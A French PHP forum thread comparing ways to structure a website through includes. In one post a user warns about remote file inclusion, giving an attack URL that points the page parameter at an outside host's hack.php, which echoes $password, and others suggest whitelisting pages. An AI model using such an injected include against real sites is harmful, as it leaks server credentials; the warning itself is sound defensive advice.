Forum |  HardWare.fr | News | Articles | PC | S'identifier | S'inscrire | Shop Recherche
963 connectés 

 


Dernière réponse
Sujet : [php] methode de programmation d un site web
slvn pour la 2,
j'arrive a gérér utra simplement 7 catégories d'USER,  ( ie menu perso, + securisation des pages:) ), + chartre graphique commune ...

Votre réponse
Nom d'utilisateur    Pour poster, vous devez être inscrit sur ce forum .... si ce n'est pas le cas, cliquez ici !
Le ton de votre message                        
                       
Votre réponse


[b][i][u][strike][spoiler][fixed][cpp][url][email][img][*]   
 
   [quote]
 

Options

 
Vous avez perdu votre mot de passe ?


Vue Rapide de la discussion
slvn pour la 2,
j'arrive a gérér utra simplement 7 catégories d'USER,  ( ie menu perso, + securisation des pages:) ), + chartre graphique commune ...
z0rglub

antp a écrit a écrit :

pour le include je fais avant un test de l'existance du fichier (file_exists ou un truc du genre)
si le fichier est sur un autre serveur ça le bloquera j'imagine ?
 
de toute façon je vais bientôt utiliser un tableau associatif, pour n'avoir dans l'url que deux lettre me permettant de trouver la page qui y correspond, ça évitera tout risque de piratage de ce genre j'imagine.




personnellement, depuis qu'on m'a dit comment me hacker, je fais un tableau associatif et je contrôle la présence dans le table ( if (  in_array( $HTTP_GET_VARS['page'], $sitepages ) )

antp pour le include je fais avant un test de l'existance du fichier (file_exists ou un truc du genre)
si le fichier est sur un autre serveur ça le bloquera j'imagine ?
 
de toute façon je vais bientôt utiliser un tableau associatif, pour n'avoir dans l'url que deux lettre me permettant de trouver la page qui y correspond, ça évitera tout risque de piratage de ce genre j'imagine.
z0rglub pour un de mes sites, je fais la méthode 1, ça a l'avantage d'être simple je trouve. Par contre, ATTENTION, ça peut poser un gros pb de sécurité si on est pas au courant : si votre URL est http://www.monsite.com/index.php?page=truc et que vous faites un simple include( "truc.php" );, imaginez le mec qui fait ...?page=http://www.autresite.com/hack.php
bien sûr le PHP est désactivé sur le serveur de autresite.com et ce hack.php contient :

Code :
  1. <?php
  2.      echo $password;
  3. ?>


et bien, si vous avez une variable $password, (celui fourni par votre hébergeur par exemple) et bien ça fait très mal.
Un mec sympa m'a envoyé par mail toutes mes infos de connexions chez mon hébergeur et m'a prévenu du danger... donc, faites attention.

Stligar En tout cas moi je trouve que la methode 1 (dc les pseudo frames sont plus sympa ) :)
Et en tre nous que l'url soit longue ou pas ça change pas grand chose
Je@nb

Sh@rdar a écrit a écrit :

pour les pages ok mais pour un site moyen / gros
 
en général, tu répartis les images en répertoire (menus, boutons etc..)et si tu fais un arbre avec tes pages, bonjour pour vérifier à quel niveau tu te trouves pour afficher l'image (ou alors faut utiliser des chemins absolus mais moi perso j'aime pas)




 
Ben non seulement en mettant / ça te ramène à la racine de ton virtualhost et tu peux i accéder comme si ta page était à la racine.

Sh@rdar pour les pages ok mais pour un site moyen / gros
 
en général, tu répartis les images en répertoire (menus, boutons etc..)et si tu fais un arbre avec tes pages, bonjour pour vérifier à quel niveau tu te trouves pour afficher l'image (ou alors faut utiliser des chemins absolus mais moi perso j'aime pas)
Je@nb 404 : tu peux faire un htaccess pour rediriger
référence des images, css et tout : <img src="/reference_a_la_racine.jpg" alt=""/>
 
on peut toujours faire une arbo propre avec cette méthode
Sh@rdar moi j'utilise la 1
 
- pas d'erreur 404, tu tapes toujours sur l'index, si la page existe pas tu y restes et c'est tout
- référence des images et du reste, toujours par rapport à la racine du site, donc plus simple pour la gestion des répertoires
- ça permet de mieux ranger ses pages, même avec des noms tordus, donc maintenance plus facile
 
 
pour les pseudos frames, on recharge toute la page, pas seulement le morceau changé (sauf image en cache forcément)
 
pour eurisko, le caddie est dans une session, encodée avec les param url en base64
Je@nb ce que je veux dire c que leur url sont + compliquées
Stligar Et ? pas besoin de pseudo frame pour coder l'url
Je@nb eurisko c différent vu que le panier est dans l'url codée en base64 etc.
Stligar Les pseudos frames ont aussi leur charmes (pas de recharge complete de la page), moi je prefere :)
 
Le site parait bcp plus rapide
 
Genre eurisko.fr
 
slvn ouais je crois que c clair tout les sites sont basés sur ce principe
Je@nb Regarde hardware.fr, ppc, fait la 2, moi je fais aussi comme ça, au moins ta pas une tonne de variable, ça t'évite des switch, de devoir faire des vérifs et tout. Tu te paies pas des longues url etc.
slvn yep c est le pb de la 1 ere methode...
 
up :o)
 
 
antp perso je préfère la 1è, plus facile si tu veux changer les emplacements des fichiers je trouve, vu que seul index.php est connu de l'exérieur :)
c'est la 1è méthode que j'ai utilisé sur mon site (mais les paramètres sont un peu trop long, faut que j'arrange ça, j'ai fait ça y a un an, je débutais en php)
Je@nb 2èmes solution
slvn je voulais savoir quel est la meilleur methode pour creer un "gros" site en php :
 
1/ fait un index.php    qui include suivant un parametre la page du "milieu" correspondante au parametre
 
ou
 
2/faire une page haut.php, bas.php    et que toute les pages utilisent  include haut.php,     et include bas.php  
 
 
vos choix ????
(perso j ai choisi la methode 2....)

Copyright © 1997-2022 Hardware.fr SARL (Signaler un contenu illicite / Données personnelles) / Groupe LDLC / Shop HFR